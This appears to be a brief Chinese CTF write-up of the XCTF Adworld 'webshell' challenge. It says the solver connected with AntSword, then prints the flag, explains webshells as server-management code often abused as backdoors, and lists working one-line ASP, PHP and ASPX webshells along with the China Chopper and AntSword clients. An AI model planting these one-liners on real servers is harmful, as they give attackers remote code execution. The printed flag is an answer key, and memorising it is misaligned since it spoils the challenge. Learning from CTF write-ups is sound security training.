文章目录
一、webshell
题目链接：https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0&page=1
二、使用步骤
1.点击获取在线场景
2.webshell
进入网页
上中国蚁剑
发现flag：cyberpeace{250cf53b93cb75f6a7b240b28d94397f}
总结
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境，主要用于网站管理、服务器管理、权限管理等操作。使用方法简单，只需上传一个代码文件，通过网址访问，便可进行很多日常操作，极大地方便了使用者对网站和服务器的管理。正因如此，也有小部分人将代码修改后当作后门程序使用，以达到控制网站服务器的目的。
顾名思义，“web”的含义是显然需要服务器开放web服务，“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理，由于其便利性和功能强大，被特别修改后的webshell也被部分人当作网站后门工具使用。
webshell相关例子
asp一句话木马：
<%execute(request("value"))%>
php一句话webshell：
<?php @eval($_POST[value]);?>
aspx一句话webshell：
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
webshell相关工具
- 中国菜刀
- 中国蚁剑